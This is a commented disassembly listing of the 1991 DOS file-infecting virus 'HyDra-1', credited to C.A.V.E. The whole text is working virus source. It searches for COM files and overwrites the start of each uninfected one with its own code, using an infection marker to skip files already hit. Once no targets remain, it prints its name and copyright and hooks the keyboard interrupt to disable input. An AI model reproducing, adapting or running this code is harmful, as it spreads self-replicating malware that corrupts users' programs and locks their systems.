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- PAGE 59,132
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- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ HYDRA1 ██
- ;██ ██
- ;██ Created: 27-Aug-91 ██
- ;██ Passes: 5 Analysis Options on: AW ██
- ;██ Copyright (c) ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
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- psp_cmd_size equ 80h
- data_12e equ 100h
- data_13e equ 193h
- data_14e equ 196h
- data_15e equ 271h
- data_16e equ 293h
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- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
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- org 100h
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- hydra1 proc far
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- start:
- jmp loc_1
- pop cx
- inc sp
- add [bx+si],al
- data_3 db 'HyDra-1 Beta - Not For Release'
- db '. *.CO?'
- db 0
- data_6 dw 0, 8B39h
- data_8 dw 0
- data_9 db 0
- db 29 dup (0)
- data_10 db 0
- db 13 dup (0)
- data_11 db 'HYDRA$'
- copyright db 'Copyright (c)'
- db ' 1991 by C.A.V.E. $'
- loc_1:
- push ax
- mov ax,cs
- add ax,1000h
- xor di,di ; Zero register
- mov cx,193h
- mov si,100h
- mov es,ax
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- mov ah,1Ah
- mov dx,offset data_9
- int 21h ; DOS Services ah=function 1Ah
- ; set DTA(disk xfer area) ds:dx
- mov ah,4Eh ; 'N'
- mov dx,offset data_3+22h ; ('*')
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- jc loc_5 ; Jump if carry Set
- loc_2:
- mov ah,3Dh ; '='
- mov al,2
- mov dx,offset data_10
- mov al,2
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- mov bx,ax
- push es
- pop ds
- mov ax,3F00h
- mov cx,0FFFFh
- mov dx,data_13e
- int 21h ; DOS Services ah=function 3Fh
- ; read file, bx=file handle
- ; cx=bytes to ds:dx buffer
- add ax,193h
- mov cs:data_8,ax
- cmp word ptr ds:data_14e,4459h
- jne loc_3 ; Jump if not equal
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- push cs
- pop ds
- mov ah,4Fh ; 'O'
- int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- jc loc_6 ; Jump if carry Set
- jmp short loc_2
- loc_3:
- xor cx,cx ; Zero register
- mov dx,cx
- mov ax,4200h
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_4 ; Jump if carry Set
- mov ah,40h ; '@'
- xor dx,dx ; Zero register
- mov cx,cs:data_8
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- loc_4:
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- push cs
- pop ds
- loc_5:
- mov ah,1Ah
- mov dx,psp_cmd_size
- int 21h ; DOS Services ah=function 1Ah
- ; set DTA(disk xfer area) ds:dx
- jmp short loc_7
- nop
- loc_6:
- push dx
- xor ax,ax ; Zero register
- mov ax,0F00h
- int 10h ; Video display ah=functn 0Fh
- ; get state, al=mode, bh=page
- ; ah=columns on screen
- mov ah,0
- int 10h ; Video display ah=functn 00h
- ; set display mode in al
- mov ax,200h
- mov dh,6
- mov dl,25h ; '%'
- int 10h ; Video display ah=functn 02h
- ; set cursor location in dx
- xor dx,dx ; Zero register
- mov dx,offset data_11 ; ('HYDRA')
- mov ah,9
- int 21h ; DOS Services ah=function 09h
- ; display char string at ds:dx
- mov ax,200h
- mov dh,17h
- mov dl,0
- int 10h ; Video display ah=functn 02h
- ; set cursor location in dx
- mov dx,offset copyright ; ('Copyright (c)')
- mov ah,9
- int 21h ; DOS Services ah=function 09h
- ; display char string at ds:dx
- mov ax,200h
- mov dh,18h
- mov dl,0
- int 10h ; Video display ah=functn 02h
- ; set cursor location in dx
- mov ax,3504h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov ax,es
- mov dx,bx
- mov ds,ax
- mov ax,2509h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- mov ax,0
- int 21h ; DOS Services ah=function 00h
- ; terminate, cs=progm seg prefx
- loc_7:
- xor di,di ; Zero register
- mov si,data_15e
- mov cx,22h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- pop bx
- mov cs:data_6,0
- mov word ptr cs:data_6+2,es
- pop bx
- jmp dword ptr cs:data_6
- push ds
- pop es
- mov cx,0FFFFh
- mov si,data_16e
- mov di,data_12e
- sub cx,si
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- mov word ptr cs:[100h],100h
- mov word ptr cs:[102h],ds
- mov ax,bx
- jmp dword ptr cs:[100h]
- int 20h ; DOS program terminate
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- hydra1 endp
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- seg_a ends
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- end start
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